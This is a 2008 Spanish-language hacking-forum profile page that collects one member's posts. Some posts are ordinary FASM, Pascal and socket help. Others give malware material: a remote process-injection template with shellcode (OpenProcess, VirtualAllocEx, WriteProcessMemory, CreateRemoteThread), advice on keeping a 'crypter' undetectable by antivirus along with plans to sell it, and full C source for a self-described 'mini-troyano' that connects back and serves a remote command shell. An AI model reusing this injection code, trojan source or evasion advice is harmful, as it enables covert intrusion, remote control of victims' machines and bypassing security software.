elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
22 Agosto 2008, 04:17  



  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ... 152
211  Programación / Programación General / Re: Estilo XP con FASM en: 09 Mayo 2008, 21:31
Vamo a ver, q me entere yo entonces, q me he perdido, lo de incluir el res de la forma que ha dicho Dominicano debería funcionar o no? (desde luego a mi no me funciona...)

A ver, lo que hado es lo siguiente:

- Abro el VC++, añado un dialog con un Edit Box dentro y les pongo como id ID_Dialog y ID_Text.

- Compilo el exe en C, y sigo los pasos q a puesto dominicano y me genera el .res perfectamente (por cierto, yo uso SP3 y no me da problemas ;))

- En el fasm tengo este codigo:

Código
format PE GUI 4.0
entry start
include 'H:\archivos de programa\fasm\include\win32ax.inc'
 
 ID_Dialog  = 101
 ID_Text    = 1000
 
 
section '.code'  code readable executable
 
 start:
 
       invoke DialogBoxParam, <invoke GetModuleHandle,0>, ID_Dialog, HWND_DESKTOP, DialogProc, 0
       invoke MessageBox, 0, 'Salimos', 0,0
       invoke ExitProcess, 0
 
 
 proc DialogProc, hwnddlg, msg, wparam, lparam
 
       push   ebx esi edi
       cmp    [msg],WM_CLOSE
       je     cerrar
       xor    eax,eax
       jmp    fin
 
 
       cerrar:       ; Salimos
 
          invoke  EndDialog,[hwnddlg],0
 
       fin:
 
          pop     edi esi ebx
          ret
 
 endp
 
 
section '.idata' import data readable writeable
 
 library kernel32,'KERNEL32.DLL',\
         user32,  'USER32.DLL'
 
 include 'H:\archivos de programa\fasm\include\api\kernel32.inc'
 include 'H:\archivos de programa\fasm\include\api\user32.inc'
 
 
 
section '.rsrc' resource from 'loquesea.res'

que me ensambla correctamente y me geenera un exe q cuando intento ejecutar me da este error:

"Solo se completó una parte de la petición ReadProcessMemory o WriteProcessMemry"

Ademas el ejecutable final ocupa 30KB  :o y es por q en la sección de recursos en vez de meter solamente los recursos mete el res entero con su cabecera pe y todo...

Los archivos q me genera VC++ son estos:

resource.h
Citar
//{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file.
// Used by Script1.rc
//
#define ID_Dialog                       101
#define ID_Text                         1000

// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        102
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif

Script1.rc
Código:
#include "resource.h"

#define APSTUDIO_READONLY_SYMBOLS

#include "afxres.h"

#undef APSTUDIO_READONLY_SYMBOLS


#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ESN)
#ifdef _WIN32
LANGUAGE LANG_SPANISH, SUBLANG_SPANISH_MODERN
#pragma code_page(1252)
#endif //_WIN32

ID_Dialog DIALOG DISCARDABLE  0, 0, 186, 90
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
FONT 8, "MS Sans Serif"
BEGIN
    EDITTEXT        ID_Text,27,25,112,23,ES_AUTOHSCROLL
END


#ifdef APSTUDIO_INVOKED

1 TEXTINCLUDE DISCARDABLE
BEGIN
    "resource.h\0"
END

2 TEXTINCLUDE DISCARDABLE
BEGIN
    "#include ""afxres.h""\r\n"
    "\0"
END

3 TEXTINCLUDE DISCARDABLE
BEGIN
    "\r\n"
    "\0"
END

#endif    // APSTUDIO_INVOKED

#endif    // Spanish (Modern) resources

#ifndef APSTUDIO_INVOKED

#endif    // not APSTUDIO_INVOKED

Tu como lo haces exactamente ®®? tb usas el VC++ o hay programas especiales??

Salu2 y gracias a todos
212  Programación / Programación General / Re: Estilo XP con FASM en: 09 Mayo 2008, 20:25
Una cosa ®®, a mi esto no me funciona:

Código:
section '.rsrc' resource from 'resource.rc'
:huh: :huh:

Puede ser por q hay q usar un archivo .res en vez de .rc? Lo estoy haciendo con VC++ y me e fijado en un ejeplo en Masm q usa un .rc, no un .res... y con q programa puedo hacer un .res?

Salu2 y gracias
213  Programación / Programación General / Re: Matrices en Pascal (duda) en: 09 Mayo 2008, 20:18
Por q te crees q se yo pascal.. ando como tu xDD
214  Programación / Programación General / Re: Matrices en Pascal (duda) en: 09 Mayo 2008, 19:32
Pues haz esto:

Código
PROGRAM QueAscoDaPascal;
 
TYPE
 
  rDatos = RECORD
        Maximo : Integer;
        PosX   : Integer;
        PosY   : Integer;
  END;
 
  aMatriz = ARRAY [1..100,1..100] OF Integer;
 
VAR
 
  Datos  : rDatos;
  Matriz : aMatriz;
  X, Y   : Integer; (* Contadores *)
 
BEGIN
 
  Matriz[1,1]   := 1;
  Matriz[50,50] := 15;
  Matriz[57,20] := 40;
 
  Datos.Maximo := -1;
 
  FOR X := 1 TO 100 DO
  BEGIN
 
     FOR Y := 1 TO 100 DO
        IF Datos.Maximo < Matriz[X,Y] THEN
        BEGIN
           Datos.Maximo := Matriz[X,Y];
           Datos.PosX   := X;
           Datos.PosY   := Y;
        END;
 
  END;
 
  WriteLn('Maximo = ', Datos.Maximo, ' encontrado en la fila: ', Datos.PosX, ' columna: ', Datos.PosY);
  ReadLn;
 
END.

Compilado en Free Pascal sin problemas, te tiene q devolver esto:
"Maximo = 40 encontrado en la fila: 57 columna: 20"

Salu2
215  Programación / Programación General / Re: Estilo XP con FASM en: 09 Mayo 2008, 17:11
Citar
Tienes k anadir el .manifest (no tiene k tener el mismo nombre del exe), llamale XPStyle.manifest o lo k kieras y tienes k anadir el resource con el nombre "24" y el id tiene k ser 1. Luego pones en el codigo lo k te dice Plaga.

Pero de que tipo se supone q tiene q ser el recurso del manifest? tipo texto (RT_STRINGT??)

Esto de tratar los recuros con fasm es un lio de cohones, por no hablar de la extensa documentacion q brindan xDDDDD Al final creo q voy a hacer los resources con el VC++ y se lo añado a fasm, aunke para eso tamben dan mucha documentacion en la web oficial:

Citar
There are two ways to create resources, one is to include the external resource file created with some other program, and the other one is to create resource section manually.

Y ya está, no te dicen como linkear, ni se vuelve a tocar el tema ni na de na  :¬¬ aunke será inclullendola supongo..

Alguien q haya trabajado con resources en fasm me puede hechar un mano?

Salu2


EDIT - Weno, solucionado lo de añadir por lo menos el recurso, se consigue asi:

Código:
  resdata manifest
    file 'GUI.exe.manifest'
  endres

Ahora la cosa sería usarlo...
216  Programación / Programación General / Re: Estilo XP con FASM en: 09 Mayo 2008, 15:57
Anda, pues acabo de probar con el manifest que has puesto y si que me coje estilo xp, sería q el manifest con el que hice la prueba tendría algo mal..

Por cierto, como puedo meter el manifest como recurso y luego extraerlo y usarlo?
Muchas gracias ;)
217  Programación / Programación C/C++ / Re: WSAsocket() contra socket() en: 09 Mayo 2008, 00:15
A mi esos entornos no me hacen mucha gracia.. ese en particular (si no recuerdo mal) aumentaba un monton el peso del ejecutable final, eso si facilita las cosas

Api powah  :xD (weno y el editor de VC++ jajaja)
218  Seguridad Informática / Análisis y Diseño de Malware / Re: [+] SMALL CRYPTER by E0N en: 09 Mayo 2008, 00:10
Citar
Yo sabia que todo tiene que tener su parte para hacerr negocio ,bueno si no es muy caro me vas a tener de comprador  wink.
s4lu2!

Ya os regalo una versión gratuita y 100% funcional, q mas kereis?  :P El q la kiera indetectable para siempre q pague, q yo imbierto tiempo en codear...

Salu3

PD a q le llamas tu "no muy caro" por ir orientando precios? ;)
219  Programación / Programación C/C++ / Re: Carregando Programa direto na memoria e executando. en: 08 Mayo 2008, 17:56
Te estas liando :P A ver, VirtualAlloc es para reserbar memoria en tu propio proceso, VirtualAllocEx es para reservarla en otro q es lo q te interesa a ti ;)

El ejemplo de Eternal Idol era una demostración de como hacerlo en tu propio proceso, las apis q tu tienes q usar son estas y en este orden:

OpenProcess
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread

Solo esas apis, ese asm in line q has puesto borralo

Para documentarte sobre ellas nada mejor q la MSDN y si quieres ver algún ejemplo de esto puedes mirarte este tuto que hice sobre rootkits, aunque hay mucha más documentación por internet más extensa ;)
http://personal.telefonica.terra.es/web/alexb/manus/Creando un rootkit desde cero by E0N.rar

Salu2 ;)
220  Seguridad Informática / Análisis y Diseño de Malware / Re: [+] SMALL CRYPTER by E0N en: 08 Mayo 2008, 14:14
Citar
Tengo un problema para hacerle un ollo a este crypter con el topo, le asigno más espacio adicional y me aumenta también el tamaño del stub pero me lo deja inservible con solo hacerle el ollo.. que podrá ser??

A ver, el crypter no tiene ni un solo 0 donde poder escribir, por eso se te amplia el tamaño del stub, la cosa es q al ampliar el tamaño logicamente te keda inservible por q hay una parte del code en la q tienes q meter en la pila el tamaño del stub, eso lo tiens q modificar y listo
De todas formas sacaré version pribada dentro de poco (de pago) para q kien la tenga le dure indetectable siempre ;)

Salu2
221  Programación / Programación C/C++ / Re: WSAsocket() contra socket() en: 07 Mayo 2008, 20:56
Jajaja weno, a veces hay q ver algun code para inspirarse  :xD Pues na, me alegro de q lo hayas solucionado por fin, ahora a currarse las ventanas, q tienes trabajo pa rato...

Salu2 E0N
222  Seguridad Informática / Análisis y Diseño de Malware / Re: [+] SMALL CRYPTER by E0N en: 07 Mayo 2008, 20:48
Pues lo comenté por aki:
Citar
Cuando lo llenen de firmas si te será mas facil modificarlo al ser mas pekeño, solo te doy una pista, si amplias el tamaño del stub por alguna circustancia (lo vas a tener q hacer por q no hay 0's donde escribir) mira con el olly el código y asegurate de cambiar una de las primeras instrucciones para q meta en la pila el tamaño nuevo del stub

 >:D
223  Programación / Programación C/C++ / Re: Carregando Programa direto na memoria e executando. en: 07 Mayo 2008, 18:10
Si se puede hacer, como te ha dicho EternalIdol por poner un ejemplo muy simple de como sería (esto no funciona claro, pero es la idea ;) ):

Código:
        BYTE scode[] =
{
0x6A,0x00,0x6A,0x00,0x6A,0x00,0x6A,0x00,0xFF,0x15,0x3C,0x20,0x40,0x00,0xC3
};
       /* push 0
   push 0
   push 0
   push 0
   call [MessageBox]
   ret
*/

        proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
pos = VirtualAllocEx(proceso,NULL,sizeof(scode),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(proceso,pos,scode,sizeof(scode),&bUsados);
CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)pos,Parametros_q_kieras_pasar,NULL,NULL);
CloseHandle(proceso);

Te en cuenta que no puedes usar variables en la "ShellCode" ya que se refieren a posiciones concretas de memoria y en el otro proceso no las tienes ;)

Para pasar parametros a la función que inyectes miarte la descripción de CreateRemoteThread, que uno de sus parametros es precisamente para pasar parametros (si kieres pasar mas de uno pasas el puntero a una estructura con todos los parametros :P)

Salu2
224  Programación / Programación C/C++ / Re: Split en C en: 07 Mayo 2008, 17:16
Nuevo? esa funcion es mia y la hice hace ya....  :¬¬ :¬¬
225  Programación / Programación C/C++ / Re: WSAsocket() contra socket() en: 07 Mayo 2008, 17:11
Código:
char salir[6] = "salir\n";

Ponle un 7 que falta el caracter de fin de cadena (es mas a mi con un 6 ni me compila...)

Citar
1. Abrir una nueva shell. (Por cierto como puedo abrir otra ventana cmd independiente?).

Ni idea, pero ya q te pones podias hacer una interfaz con ventanas y eso, q para este programa es mucho más útil.

A mi personalmente no me gusta mucho redirigir directamente los pipes por q si kieres meterle mas opciones al programa luego dificulta bastante. Yo tengo hecho un mini-troyano en C y VB y el metodo q uso es este:

SERVER:
Código
#include <winsock2.h>
#include <winsock2.h>
#include <windows.h>
#include <string>
 
// INCLUDES PROPIAS
#include "Módulos/funVarias.h"
#include "Módulos/shell.h"
 
#pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock
 
 
// FUNCIÓN MAIN ()
void main()
{
   WSADATA wsa;
   SOCKET sock;
   struct hostent *host;
   struct sockaddr_in direc;
   int conex;
   char Buffer[1024];
   int len;
 
 
   //ShowWindow(GetForegroundWindow(),SW_HIDE); // Para ocultar la consola
 
for(;;) // Entramos en un bucle eterno, el corazón del server
{
//Inicializamos
WSAStartup(MAKEWORD(2,2),&wsa);
host=gethostbyname("localhost");
 
//creamos el socket
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock==-1) return;
direc.sin_family=AF_INET;
direc.sin_port=htons(1234);
direc.sin_addr = *((struct in_addr *)host->h_addr);
memset(direc.sin_zero,0,8);
 
 
 
//Intentamos establecer la conexión hasta que lo logremos
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
while (conex == -1)  
{
Sleep(100);
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
}
 
 
 
 
while (len!=0) //Mientras que permanezcamos conectados
{
 len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
 
 if (len>0)  //Si seguimos conectados...
 {  
Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena
std::string sBuffer(Buffer);
 
// --> Para la shell remota
 
if (Split(sBuffer, '|', 0) == "iniShell")
{
// Lanzamos la shell
IniShell();
sBuffer = "leerShell"; // Para que se envien los primeros datos leidos
}
 
if (Split(sBuffer, '|', 0) == "escribirShell")
{
// Escribimos en el pipe
EscribirPipe(Split(sBuffer, '|', 1) + "\n");
Sleep(100);
sBuffer = "leerShell"; // Para que se envien los primeros datos leidos
}
 
if (Split(sBuffer, '|', 0) == "leerShell")
{
// Leemos la shell
std::string rPipe;  // La cadena que leemos del pipe
std::string enviar; // La cadena que enviaremos
rPipe = LeerPipe();
enviar = "leerShell|" + rPipe + "_-^FIN";
len = send(sock,enviar.c_str(),enviar.length(),0);
}
 
if (Split(sBuffer, '|', 0) == "cerrarShell")
{
// Destruimos la shell
DestruirShell();
}
 
 
 
 
 }
}
} // Fin del for
 
}
 
 

En "Módulos/shell.h" tengo las 4 funciones q te e pasado antes y en "Módulos/funVarias.h" tengo definida la función Split q es esta:

Código
#include "funVarias.h"
 
 
// LA FUNCIÓN SPLIT
std::string Split (std::string cadena, char m, int numero)
{
int posicion; //Determina la posición del caracter por donde keremos partir
std::string principal; //Cadenas donde guardaremos los trozos deseados
std::string secundaria;
 
secundaria = cadena;
 
for (int n = 0; n <= numero; n++)
{
posicion = secundaria.find (m);
principal  =  (secundaria.substr (0,posicion)); //Guardamos el primer trozo de cadena
secundaria =  (secundaria.substr (posicion + 1,secundaria.length ())); //Guardamos el resto de la cadena
}
 
return principal; //Devolvemos el trozo de cadena deseado, si no lo hemos encontrado se dvuelve la cadena entera
}

Los .h supongo q ya sabras hacerlos tu (o metelo todo apiñado en un cpp aunke lo desaconsejo... :P)
El cliente lo tengo hecho en VB, pero te lo paso a C, sería algo así basandome en tu code:

CLIENTE:
Código
#include <stdio.h>
#include <winsock2.h>
#include <iostream>
 
#pragma comment(lib, "ws2_32.lib")
 
int main(int argc, char *argv[])
{
   WSADATA wsa;
   SOCKET sock;
   struct sockaddr_in adr;
 
   int len;
   char buffer[1024];
   char salir[7] = "salir\n";
 
int  lenLlegada;
char buffLlegada[1024];
 
   // Inicializamos
   WSAStartup(MAKEWORD(2,2), &wsa);
   // sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
   sock  = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,(unsigned int)NULL,(unsigned int)NULL);
 
   // Direccionamos el sock
   adr.sin_family = AF_INET;
   adr.sin_addr.s_addr = INADDR_ANY;
   adr.sin_port = htons(1234);
   memset(adr.sin_zero, 0, 8);  //de obligado cumplimiento
 
   // Asociamos sock a direccion
   if (bind(sock, (SOCKADDR *)&adr, sizeof(SOCKADDR)) == -1){
                  printf("Error en el bind 1.\n2");
                  return -1;
   }
 
   if (listen(sock, 1) == -1){
                 printf("Error en el listen 1.\n2");
                 return -1;
   }    
 
   len = sizeof(struct sockaddr);
   sock = accept(sock, (struct sockaddr *)&adr, &len);
 
   // Solicitamos comando por consola una vez aceptada la comunicacion
   printf("Escribe el texto a enviar y salir para quit.\n");
 
   while (strcmp(buffer, salir) != 0){
 
         printf("Texto a enviar:");
         fgets(buffer, 1023, stdin);
 
 
         len = send(sock, buffer, strlen(buffer), 0 );
 
 Sleep (100);
 
 lenLlegada = recv(sock,buffLlegada,1023,0);
 if (lenLlegada != 0) {
buffLlegada[lenLlegada]=0;
std::cout << "     LLEGADA SHELL:\n\n";
std::cout << buffLlegada;
std::cout << "\n\n------------------------------\n\n\n\n";
 }
 
 
   }
 
   closesocket(sock);
   WSACleanup();
 
   return 0;
}

Si escribes en la onsola los comandos indicados te irá mostrando lo q kieres, de una forma muuuuy cutre por q lo e adaptado en 5 min, pero la idea se ve, ahora a mejorarlo ;)

Por poner un ejemplo de la salida:
Citar
Escribe el texto a enviar y salir para quit.
Texto a enviar:iniShell|
     LLEGADA SHELL:

leerShell|Microsoft Windows XP [Versión 5.1.2600]_-^FIN

------------------------------



Texto a enviar:escribirShell|cd..
     LLEGADA SHELL:

leerShell|
(C) Copyright 1985-2001 Microsoft Corp.

H:\Documents and Settings\Jose\Escritorio\Remote Shell\Server>cd..

H:\Documents and Settings\Jose\Escritorio\Remote Shell>
H:\Documents and Settings\Jose\Escritorio\Remote Shell>_-^FIN

------------------------------

Se entiende no? así puedes hacer lo q kieras para tu mini troyano, es hecharle imaginación nada más y no dependes ni del nc ni de nada, puro code ;)

Salu2

PD - Para bucles eternos usa
Código:
for(;;)
q es mas depurado ;)
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ... 152




Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC